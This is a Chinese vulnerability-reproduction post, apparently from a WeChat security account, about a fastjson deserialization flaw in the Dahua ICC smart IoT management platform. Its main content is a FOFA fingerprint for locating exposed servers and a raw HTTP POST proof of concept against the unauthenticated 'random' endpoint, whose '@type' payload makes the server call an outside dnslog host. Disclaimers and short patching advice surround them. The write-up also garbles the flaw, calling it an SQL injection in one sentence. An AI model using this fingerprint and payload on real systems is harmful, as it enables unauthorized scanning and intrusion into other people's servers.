漏洞复现 | 大华ICC智能物联综合管理平台fastjson漏洞【附poc】

免责声明

本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关，本次测试仅供学习使用。如有内容争议或侵权，请及时私信我们！我们会立即删除并致歉。谢谢！

一、漏洞简述

大华ICC智能物联综合管理平台是一个集成了物联网技术、大数据分析、云计算等先进技术的综合性管理平台。可以对多个智能设备和系统进行统一管理和控制，方便用户实时了解和管理各个设备和系统的状态。该平台提供了一系列的智能化功能，包括设备管理、监控预警、数据分析等，旨在为用户提供更加智能、高效和便捷的物联网管理体验。其random接口存在fastjson反序列化漏洞，未经身份验证的恶意攻击者利用攻击者可以利用SQL注入漏洞执行命令，进而控制服务器系统。

二、网络测绘

fofa：icon_hash="-1935899595"

三、漏洞复现

请求访问dnslog

dnslog收到请求记录

四、漏洞检测poc

POST /evo-runs/v1.0/auths/sysusers/random HTTP/2Host: 0.0.0.0User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Content-Type: application/jsonContent-Length: 108{"a":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://mffqej.dnslog.cn"}}""}

五、漏洞修复

1、建议联系厂商打补丁或升级版本。

2、增加Web应用防火墙防护。

3、关闭互联网暴露面或接口设置访问权限。

免责声明

本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关，本次测试仅供学习使用。如有内容争议或侵权，请及时私信我们！我们会立即删除并致歉。谢谢！

原文始发于微信公众号（实战安全研究）：漏洞复现 | 大华ICC智能物联综合管理平台fastjson漏洞【附poc】